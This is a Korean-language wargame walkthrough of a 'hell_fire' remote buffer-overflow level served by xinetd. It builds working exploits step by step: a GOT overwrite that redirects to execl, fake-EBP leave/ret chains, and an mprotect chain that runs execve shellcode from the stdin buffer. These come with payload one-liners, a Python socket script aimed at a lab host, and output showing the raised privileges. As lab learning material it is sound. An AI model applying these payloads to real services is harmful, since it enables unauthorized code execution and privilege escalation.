GOT overwrite / Remote BOF / [ stdin buf ]


Stack layout

temp

1024 Byte

12 Byte

saved_sfp

4 Byte

여기서부터 아래 1024 사용 가능.

단, main의 sfp는 제외.

buffer

256 Byte 

 8 Byte

sfp

ret

 ...


  • strcpy(buffer, temp)니까 결과적으로 1024만큼 쓸 수 있다.
  • 입력을 fgets로 처리한다.
    fgets로 받는 경우 EOF 또는 개행문자(0x0a)를 입력하지 않는 경우 계속 입력을 대기하기 때문에 끝에 \n을 보내주어야 한다.
    argv로 받는 경우 공백(0x20)은 " "로 묶어서 받아야 하며 0x00은 받을 수 없지만, fgets는 개행문자와 EOF만 인식하므로 공백이나 0x00이 있어도 상관 없다. (단, 0x0a가 있는지는 따져보아야한다.)
    그러니까, 공백이나 0x00을 함수에서 어떻게 받아들이느냐가 중요하다.


  • stack에 ASLR 및 NX가 걸려있어 shell code를 stack에 넣어 ret하는 것은 불가능.
  • library Addr은 0x00으로 시작. 따라서 바로 library로 ret하면 이후 파라미터를 삽입할 수 없음.



소스코드를 보면 직접 socket 객체를 할당 받아 socket을 여는 작업을 하지 않고, netstat으로 조회해봐도 7777이 LISTEN인데 어떤 프로세스에 연결되어 있는지 안나온다.

```

tcp   0    0 0.0.0.0:7777       0.0.0.0:*          LISTEN      -  

```


때문에 inetd 같은 super daemon에서 돌아간다고 봐야한다.

xinetd가 돌아가고 있어 확인해보니 xinetd에서 돌아가고 있었다.

```

[dark_eyes@Fedora_1stFloor ~]$ ps -ef | grep inet

root      2526     1  0 19:16 ?        00:00:00 xinetd -stayalive -pidfile /var/run/xinetd.pid


/etc/xinetd.d/hell_fire :

service hell_fire

{

        disable = no

        flags           = REUSE

        socket_type     = stream

        wait            = no

        user            = hell_fire

        server          = /home/dark_eyes/hell_fire

}

```


xinetd에서 돌아가는 경우 stdio가 socket io에 사용된다. 그래서 LOB의 remote BOF와는 조금 다르다.

아무튼 stdio와 연결되므로 exec 등으로 실행한 결과를 remote로 받아볼 수 있다. exec나 fork 해도 fd는 유지되기 때문.



#2 got overwrite

#1에서 stack에 있는 값을 사용할 수 없다는 것을 확인했으므로 파라미터를 직접 삽입해야 한다.

결국 어느 순간에는 library로 리턴해야 하는데, library Addr 최상위 1Byte가 0x00이라는 점 때문에 그대로 사용하자니 parameter를 넘길 수 없다.

PLT로 리턴하는 경우, plt는 0x08-로 시작하기 때문에 parameter를 넘기는 것이 가능하다.

그런데, 문제 파일에서 exec*을 호출하지 않기 때문에 plt에 exec*를 link하는 entry가 없다.

그래서 어떤 func의 got를 overwrite하고, 그 함수의 plt로 리턴하는 방법을 사용해야 한다.

문제 파일에서 memcpy를 사용하니, got overwrite를 위해 memcpy를 사용할 수 있겠다.

* plt를 got에 overwrite해도 상관은 없지만 got overwrite를 하는 이유가 애초에 호출되지 않아 plt entry가 존재하지 않기 때문이라는 점을 생각해 보면, plt가 있으면 그냥 plt를 호출하면 된다.


got overwrite를 위해 memcpy를 호출하게 되면 execl을 호출하기 위한 파라미터를 넘겨야 할 곳에 memcpy의 파라미터가 들어가기 때문에 execl의 파라미터는 main이 ret하고 나서의 EBP를 기준으로 넘겨야 한다.

ASLR 때문에 main의 sfp에 어떤 값이 들어있을지(=ret 이후 EBP) 절대 주소를 특정할 수는 없지만 상대 주소로 접근하면, 상대적인 위치를 알아낼 수는 있다.

다시 말하면 현재의 ebp에서 얼마나 떨어진 곳이 이 다음의 ebp가 될 지는 알아낼 수 있으며 조작할 수 없는 것은 main의 ebp 뿐이므로 이 다음의 ebp를 조작할 수는 있다.

또한, main의 ebp를 조작할 수는 없지만 ebp 근처의 값은 조작할 수 있다.


문제 파일의 plt와 got

```

  [11] .plt              PROGBITS        0804836c 00036c 000070 04  AX  0   0  4

  [21] .got.plt          PROGBITS        08049754 000754 000024 04  WA  0   0  4

```

어차피 memcpy를 사용할거라면 아예 쉘코드를 넘겨 그 쪽으로 리턴하는 방법을 생각해 볼 수 있다.

stack에 쉘코드를 쓰고 리턴하는 방법은 stack에 NX가 걸려있기 때문에 불가능하다.

code segment에 쉘코드를 쓰고 리턴하는 방법도 생각해 볼 수 있는데, code segment 중에서도 W권한이 있는 다음 영역에만 쓸 수 있다. 

```

08049000-0804a000 rw-p 00000000 fd:00 424349     /home/dark_eyes/hell_fire

```

그러나 이 영역도 W는 가능하지만 X는 불가능한 영역이므로 쉘코드를 넘겨 실행하는 방법은 결과적으로 불가능하다.

mprotect()를 실행해 X권한을 주면 쉘코드를 실행할 수 있다. #4

got가 이 영역에 속하기 때문에, got에 쉘코드를 넣는다고 해도 이를 실행할 수 있는 방법이 없다.

X가 안되는 영역이기 때문에 got에는 Instruction이 아니라 Address가 존재한다.

그래서 got에 접근할 때는 jmp got가 아니라 jmp *got로 접근한다.


이런 경우 쓰는 것은 got에, 호출은 plt를 이용하는 방법을 사용할 수 있다.

```

call plt(W불가) -> jmp *got(W불가) -> got(W가능, X불가) -> func code

```

아무튼, W가 되면 X가 안되고, X가 되면 W가 안된다. 그래서 이를 유기적으로 잘 연결해서 생각해야 한다.



memcpy로 strcpy의 got를 execl code Addr로 overwrite하기로 했다.

strcpy의 plt와 got

```

$2 = {<text variable, no debug info>} 0x783880 <strcpy>

GOT : 0x8049774 <_GLOBAL_OFFSET_TABLE_+32>:   0x00783880

PLT 호출 부분 : 0x08048522 <main+158>:  call   0x80483cc <_init+120>

```

strcpy의 got(0x8049774)에 있는 strcpy code Addr(0x00783880)을 execl code Addr(0x007a5720)로 덮어 쓰고 0x80483cc로 리턴하면 된다.

```

$3 = {<text variable, no debug info>} 0x7a5720 <execl>

```

문제는 memcpy가 인자로 포인터를 받는다는 점이다. 값 0x7a5720이 인자가 되는 것이 아니라, 이를 값으로 가지고 있는 주소를 origin string pointer로 넘겨야 한다. 이를 찾아야한다.

그러나 procfs_search로 찾아보니 execl code Addr을 값으로 담고있는 곳이 없다.

```

00703000-00718000 r-xp 00000000 fd:00 68707      /lib/ld-2.3.3.so

00718000-00719000 r--p 00014000 fd:00 68707      /lib/ld-2.3.3.so

00719000-0071a000 rw-p 00015000 fd:00 68707      /lib/ld-2.3.3.so

0071c000-0083d000 r-xp 00000000 fd:00 68708      /lib/tls/libc-2.3.3.so

0x00720d68 : b4 0f 00 00 [ 20 57 7a 00 ] 05 01 00 00

0083d000-0083f000 r--p 00120000 fd:00 68708      /lib/tls/libc-2.3.3.so

0083f000-00841000 rw-p 00122000 fd:00 68708      /lib/tls/libc-2.3.3.so

00841000-00843000 rw-p 00841000 00:00 0

08048000-08049000 r-xp 00000000 fd:00 424378     /home/dark_eyes/test_tttt

08049000-0804a000 rw-p 00000000 fd:00 424378     /home/dark_eyes/test_tttt

08324000-08345000 rw-p 08324000 00:00 0

f6ff8000-f6ff9000 rw-p f6ff8000 00:00 0

f6ffd000-f7000000 rw-p f6ffd000 00:00 0

feece000-ff000000 rw-p feece000 00:00 0

0xfeece9a0 : 04 00 00 00 [ 20 57 7a 00 ] d8 e9 ec fe

ffffe000-fffff000 ---p 00000000 00:00 0

```

아래에 있는건 procfs_search.h에서 사용하는거라 의미가 없고, 한군데만 조회되는데 00으로 시작해서 쓸 수가 없다.


origin string pointer

memcpy든 strcpy든 함수를 사용하려면 origin string의 pointer가 필요하다.

반대로 생각해보면 origin string pointer를 얻어낼 수 있다는 것은 같은 방법으로 exec*의 parameter도 얻어낼 수 있다는 것을 의미하므로 바로 exec*로 리턴하면 안되나 싶었지만, 바로 library로 리턴하면 \x00때문에 parameter 삽입이 안되니까, 어쨌든 got overwrite해야한다.

지금 문제가 되는 것은 origin string pointer를 어떻게 얻어내느냐 하는 것이다.


1) memcpy를 두 번 호출해서 stack에 먼저 0x007a5720을 쓰고, 그 주소를 다시 got에 쓰는 방법? 이 떠올랐는데 생각해보니, memcpy를 호출한다는건 origin string의 pointer가 존재한다는 것을 의미하므로 origin string의 pointer를 만들기 위해 memcpy를 두 번 호출한다는 것은 모순이다.


2) 환경변수 및 stack에 넘기고 주소를 구하는 방법

ASLR 때문에 불가능하다.


3) 쉘코드에 직접 문자열 삽입 => ( #4로 해결 )

ASLR 때문에 삽입한 쉘코드 주소를 알아낼 수 없고 알아내도 X권한이 없다.


4) symlink를 활용해 memory에 원래 있던 값 활용

#1에서 해봤지만 불가능했다.


5) stdin

혹시나 해서 stdin으로 넘긴 데이터가 남지 않을까 싶어 찾아봤는데,

0xf6ffe000에 데이터가 남아있었고, 이 주소는 고정이다.

```

[dark_eyes@Fedora_1stFloor ~]$ ./test_tttt

hell_fire : What's this smell?

you : abacd

abacd


00703000-00718000 r-xp 00000000 fd:00 68707      /lib/ld-2.3.3.so

00718000-00719000 r--p 00014000 fd:00 68707      /lib/ld-2.3.3.so

00719000-0071a000 rw-p 00015000 fd:00 68707      /lib/ld-2.3.3.so

0071c000-0083d000 r-xp 00000000 fd:00 68708      /lib/tls/libc-2.3.3.so

0083d000-0083f000 r--p 00120000 fd:00 68708      /lib/tls/libc-2.3.3.so

0083f000-00841000 rw-p 00122000 fd:00 68708      /lib/tls/libc-2.3.3.so

00841000-00843000 rw-p 00841000 00:00 0

08048000-08049000 r-xp 00000000 fd:00 424376     /home/dark_eyes/test_tttt

08049000-0804a000 rw-p 00000000 fd:00 424376     /home/dark_eyes/test_tttt

0822b000-0824c000 rw-p 0822b000 00:00 0

f6ff8000-f6ff9000 rw-p f6ff8000 00:00 0

f6ffd000-f7000000 rw-p f6ffd000 00:00 0

0xf6ffdffc : 00 00 00 00 [ 61 62 61 63 64 ] 0a 00 00 00

feffa000-ff000000 rw-p feffa000 00:00 0

0xfeffa8ec : 04 00 00 00 [ 61 62 61 63 64 ] 2f 36 36 39

0xfeffa94c : 08 00 00 00 [ 61 62 61 63 64 ] 0a 00 00 6c

0xfeffad5c : c8 ae ff fe [ 61 62 61 63 64 ] 0a 00 6f 20

ffffe000-fffff000 ---p 00000000 00:00 0

```


아마 stdin 객체이겠거니 싶은데 확인해 보았다.

```

0083f000-00841000 rw-p 00122000 fd:00 68708      /lib/tls/libc-2.3.3.so

0x0083f721 : 22 ad fb 06 [ e0 ff f6 ] 06 e0 ff f6

0x0083f725 : e0 ff f6 06 [ e0 ff f6 ] 00 e0 ff f6

0x0083f729 : e0 ff f6 00 [ e0 ff f6 ] 00 e0 ff f6

0x0083f72d : e0 ff f6 00 [ e0 ff f6 ] 00 e0 ff f6

0x0083f731 : e0 ff f6 00 [ e0 ff f6 ] 00 e0 ff f6

0x0083f735 : e0 ff f6 00 [ e0 ff f6 ] 00 e0 ff f6

0x0083f739 : e0 ff f6 00 [ e0 ff f6 ] 00 e4 ff f6


(gdb) x/12x 0x0083f721

0x83f721 <_IO_2_1_stdin_+1>:    0x06fbad22      0x06f6ffe0      0x00f6ffe0     0x00f6ffe0

0x83f731 <_IO_2_1_stdin_+17>:   0x00f6ffe0      0x00f6ffe0      0x00f6ffe0     0x00f6ffe0

0x83f741 <_IO_2_1_stdin_+33>:   0x00f6ffe4      0x00000000      0x00000000     0x00000000

```

문제 파일 hell_fire에서도 같은 위치에 있는지와 fgets에서 인자로 넘어간 stdin과 어떻게 연결되는지 확인.

```

main의 fgets 부분

0x080484d4 <main+80>:   sub    $0x4,%esp

0x080484d7 <main+83>:   pushl  0x8049788

0x080484dd <main+89>:   push   $0x400

0x080484e2 <main+94>:   lea    0xfffffae8(%ebp),%eax

0x080484e8 <main+100>:  push   %eax

0x080484e9 <main+101>:  call   0x804838c <_init+56>


(gdb) x/x 0x8049788

0x8049788 <stdin@@GLIBC_2.0>:   0x0083f720

(gdb) x/4x 0x0083f720

0x83f720 <_IO_2_1_stdin_>:      0xfbad2288      0xf6ffe006      0xf6ffe006     0xf6ffe000

```

처음부터 stdin으로 접근했으면 좋았을텐데, 좀 헤맸다.


아무튼 주소는 고정이나 실행 권한은 없으니 저기에 쉘코드를 삽입해봐야 의미가 없고, => ( #4로 해결 )

memcpy와 execl에서 사용할 파라미터 string을 삽입하고 주소를 얻어내는 데 사용할 수 있다.


memcpy 어셈을 보니 prologue 과정이 없으므로 memcpy Addr과 parameter 사이에 4byte retAddr만 확보해주면 된다.

또한, execl을 실행하면서 parameter를 ESP기준으로 사용할 수 없기 때문에 execl+3으로 리턴해서 prologue를 건너뛰어 EBP를 사용하도록 해야한다.

stdin으로 넘겨야 할 데이터는 인자로 사용할 execl+3 Addr 및 /bin/my-pass다

아무튼 stack은 대략 이렇게 구성해야 하는데, 문제가 있다. 

...

sfp  268byte

memcpy (0x80483bc)

got를 execl+3 변경한 함수의 pltAddr

target

origin (0xf6ffe000 근처의 execl+3 Addr)

00000003 (size)

~~~~~~~~~~~

sfp와 이 아래 경계에 위치한 ebp의 차는 0x60

~~~~~~~~~~~

4byte sfp dummy

4byte ret dummy

0xf6ffe000 근처의 /bin/my-pass Addr

null 또는 null pointer


memcpy / strcpy

overwrite function으로 memcpy와 strcpy를 선택할 수 있는데, memcpy를 선택하면 제대로 동작하지 않기 때문에 strcpy를 사용해야한다.


memcpy를 사용하면 copy할 size를 직접 지정할 수 있기 때문에 execl+3 Addr과 /bin/my-pass string 사이에 \x00을 넣어 구분해주지 않아도 된다는 장점이 있다.

그러나 size가 int형이라 00000003으로 입력해야 하기 때문에, 00이 들어갈 수 밖에 없어 size 이후에 들어가는 execl의 인자들을 입력할 수 없다.

fgets는 00을 받지만 문제 파일에서 overflow가 발생하는 지점인 temp에서 buffer로 옮겨 쓰는 작업을 strcpy를 사용하기 때문에 00 이전 까지만 buffer로 옮겨 쓰게 된다.


따라서 strcpy를 사용해야 한다.

strcpy를 사용하면 execl+3 Addr과 /bin/my-pass를 \x00으로 구분해주어야만 한다.

execl+3 Addr과 /bin/my-pass는 b*268이 들어가는 stdin의 맨 앞부분과, stdin의 맨 뒷부분에 넣을 수 있는데

b*268에 이들을 넣는 경우 문제 파일에서 strcpy로 옮겨 쓸 때 \x00을 만나 overflow가 일어나지 않는다.

그래서 이들을 stdin의 맨 뒷부분에 붙여 넘기면, \x00이 맨 마지막에 위치하게 되므로 제대로 overflow가 일어나 memcpy와 execl의 파라미터를 넘길 수 있다.

\x00 이후에 위치한 /bin/my-pass string은 buffer로 옮겨 써지지 않는데, 어차피 필요한 것은 stdin에 있는 /bin/my-pass string의 pointer이기 때문에, 옮겨지든 안옮겨지든 상관없다.


그래서, strcpy를 이용해 execl+3 code Addr을 memcpy의 GOT에 overwrite하기로 했다.


call strcpyPLT :

```

0x08048522 <main+158>:  call   0x80483cc <_init+120>

```


call memcpyPLT :

```

0x08048509 <main+133>:  call   0x80483bc <_init+104>

```


memcpyGOT :

```

0x8049770 <_GLOBAL_OFFSET_TABLE_+28>:   0x007854c0

```


execl code Addr :

```

$1 = {<text variable, no debug info>} 0x7a5720 <execl>

```


origin에 들어가야 할 주소 : 

```

0xf6ffe000 + 376byte (0x178) = 0xf6ffe178

```



stack은 이렇게 구성된다.

...

sfp  268byte

strcpy (0x80483cc)

memcpy (0x80483bc)

[ ==> execl+3 ]

target (0x8049770, memcpyGOT)

origin (0xf6ffe178, execl+3 Addr pointer)

~~~~~~~~~~~

76Byte

~~~~~~~~~~~

4byte sfp dummy

4byte ret dummy

/bin/my-pass pointer (0xf6ffe17c)

00000000

 execl+3 Addr (0x007a5723)

 /bin/my-pass string


마지막에 stdin에 들어가는 execl+3는 little endian으로 정렬해야 하고 /bin/my-pass는 정렬하지 않고 그대로 써야 한다는 것에 유의.

4byte sfp dummy는 w권한 있는 곳으로 정해야 한다는 것에 유의.


```bash

[dark_eyes@Fedora_1stFloor ~]$ python -c 'print "b"*268+"\xcc\x83\x04\x08"+"\xbc\x83\x04\x08"+"\x70\x97\x04\x08"+"\x78\xe1\xff\xf6"+"b"*76+"\x10\x10\xf8\xfe"+"\xb8\x85\x04\x08"+"\x7c\xe1\xff\xf6"+"\x00\x00\x00\x00"+"\x23\x57\x7a\x00"+"\x2f\x62\x69\x6e\x2f\x6d\x79\x2d\x70\x61\x73\x73\x00"' | ./hell_fire

hell_fire : What's this smell?

you : bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb▒V▒▒px▒▒▒bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb▒▒▒|▒▒▒

euid = 502

because of you

```


remote로 똑같이 시도해보았는데 안되길래 확인해보니, \xcc가 .encode()함수를 거치면서 \xc3\x8c로 변경된다.

\x80부터 \xc2\x80같이 두개로 쪼개진다. 이는 ascii의 range가 128이기 때문.


아무튼 그냥 앞에 b를 붙이는게 빠르다.

```python

import socket

 

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect(("192.168.110.128", 7777))

print(s.recv(1024))

 

gotOverwrite = b"b"*268+ \

b"\xcc\x83\x04\x08"+ \

b"\xbc\x83\x04\x08"+ \

b"\x70\x97\x04\x08"+ \

b"\x78\xe1\xff\xf6"+ \

b"b"*76+ \

b"\x10\x10\xf8\xfe"+ \

b"\xb8\x85\x04\x08"+ \

b"\x7c\xe1\xff\xf6"+ \

b"\x00\x00\x00\x00"+ \

b"\x23\x57\x7a\x00"+ \

b"\x2f\x62\x69\x6e\x2f\x6d\x79\x2d\x70\x61\x73\x73\x00"+ \

b"\n"

 

s.sendall(gotOverwrite)

print(s.recv(1024))

 

s.close()

 

=========================

b"hell_fire : What's this smell?\nyou : "

b'euid = 503\nsign me up\n'

```


#3 fake ebp - exec*

ASLR 때문에 main의 sfp에 어떤 값이 들어있을지(=ret 이후 EBP) 절대 주소를 특정할 수는 없지만 상대 주소로 접근하면, 상대적인 위치를 알아낼 수는 있다.

다시 말하면 현재의 ebp에서 얼마나 떨어진 곳이 이 다음의 ebp가 될 지는 알아낼 수 있으며 조작할 수 없는 것은 main의 ebp 뿐이므로 이 다음의 ebp를 조작할 수는 있다.


leave, ret instruction의 leave로 리턴하게되면

leave가 실행되며 ebp를 stdin에 있는 execl parameter 근처로 보낼 수 있고

그 다음 ret이 실행되며 execl+3으로 리턴할 수 있다.


...

sfp  268byte

leave (->ret) instruction Addr

~~~~~~~~~~~

88byte dummy

~~~~~~~~~~~

이 아래가 원래 ebp

sfp (0xf6ffe170)

execl+3 Addr (0x007a5723)

-------------

여기까지 다 더하면 368(0x170) byte

 4byte sfp dummy

 4byte ret dummy

 /bin/my-pass pointer (0xf6ffe180)

00000000

/bin/my-pass string


```bash

[dark_eyes@Fedora_1stFloor ~]$ python -c 'print "b"*268+"\x62\x85\x04\x08"*22+"\x61\x85\x04\x08"+"\x70\xe1\xff\xf6"+"\x23\x57\x7a\x00"+"\x10\x10\xf8\xfe"+"\xb8\x85\x04\x08"+"\x80\xe1\xff\xf6"+"\x00\x00\x00\x00"+"\x2f\x62\x69\x6e\x2f\x6d\x79\x2d\x70\x61\x73\x73\x00"' | ./hell_fire

hell_fire : What's this smell?

you : bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb(t▒▒bbbbbbbbbbbbbbbbbbbbbbap▒▒▒#Wz

euid = 502

because of you

```


```python

...

fakeEbp= b"b"*268+ \

b"\x61\x85\x04\x08"+ \

b"b"*88+ \

b"\x70\xe1\xff\xf6"+ \

b"\x23\x57\x7a\x00"+ \

b"\x10\x10\xf8\xfe"+ \

b"\xb8\x85\x04\x08"+ \

b"\x80\xe1\xff\xf6"+ \

b"\x00\x00\x00\x00"+ \

b"\x2f\x62\x69\x6e\x2f\x6d\x79\x2d\x70\x61\x73\x73\x00" + \

b"\n"

...

=========================

b"hell_fire : What's this smell?\nyou : "

b'euid = 503\nsign me up\n'

```



#4 fake ebp - mprotect

쉘코드를 삽입하고 mprotect()로 리턴해서 삽입한 쉘코드 영역에 X권한을 주면 쉘코드를 실행할 수 있다.
mprotect는 prologue를 하지 않고, esp를 기준으로 파라미터를 가져오기 때문에 esp를 stdin 쪽으로 옮겨줘야 한다.
따라서 #3에서 leave, ret -> execl로 리턴했던 것과 달리 leave, ret -> leave, ret -> mprotect로 리턴해야 한다.
첫 번째 leave를 실행하면서 ebp가 sfp에 지정한 위치(stdin)로 옮겨지게 되고 
두 번째 leave를 실행하면서 esp가 sfp에 지정한 위치(stdin)로 옮겨지게 된다. 
그래서 두 번째 leave 바로 다음에 위치한 ret instruction을 실행하면서 mprotect로 갈 수 있도록 mprotect Addr을 sfp에 지정한 위치(stdin)의 4byte 아래에 넣어주어야 한다.

...

sfp  268byte

leave (->ret) instruction Addr

~~~~~~~~~~~

88byte dummy

~~~~~~~~~~~

이 아래가 원래 ebp

sfp (stdin)

leave (-> ret) instruction Addr

여기서부터 esp가 stdin으로 옮겨짐

-------------

여기까지 다 더하면 368(0x170) byte

4byte sfp dummy

 mprotect Addr

shellcode Addr

memory page containing shellcode Addr area (aligned)

shellcode len

PROT_READ|PROT_WRITE|PROT_EXEC ( 7 )

shellcode


```python
...
leave_ret = 0x8048561
mprotectAddr = 0x00714670
stdin = 0xf6ffe000
shellcode = b"\x31\xc0\x50" + \
b"\x68\x70\x61\x73\x73" + \
b"\x68\x2F\x6D\x79\x2D" + \
b"\x68\x2F\x62\x69\x6E" + \
b"\x89\xe3\x50\x53\x89" + \
b"\xe1\x89\xc2\xb0\x0b" + \
b"\xcd\x80"
 
fakeEbp_shell =  b"b"*268+ \
L(leave_ret)+ \
b"b"*88+ \
L(stdin+0x170)+ \
L(leave_ret)+ \
b"\x10\x10\xf8\xfe"+ \
L(mprotectAddr)+ \
L(stdin+0x188)+ \
L(stdin)+ \
L(0x300) + \
L(0x07) + \
shellcode + \
b"\n"
...
 
=========================
b"hell_fire : What's this smell?\nyou : "
b'euid = 503\nsign me up\n'
```

#5 그냥 문제 파일 바꿔치기하기

홈디렉토리에서는 rw권한 모두 있기 때문에 hell_fire 파일을 지우고

다음 파일을 컴파일해 hell_fire로 변경. xinetd 재시작 안해도 바로 반영된다.

```c

int main(){

        execl("/bin/my-pass", 0);

        return 0;

}


========================

b'euid = 503\nsign me up\n'

b''

```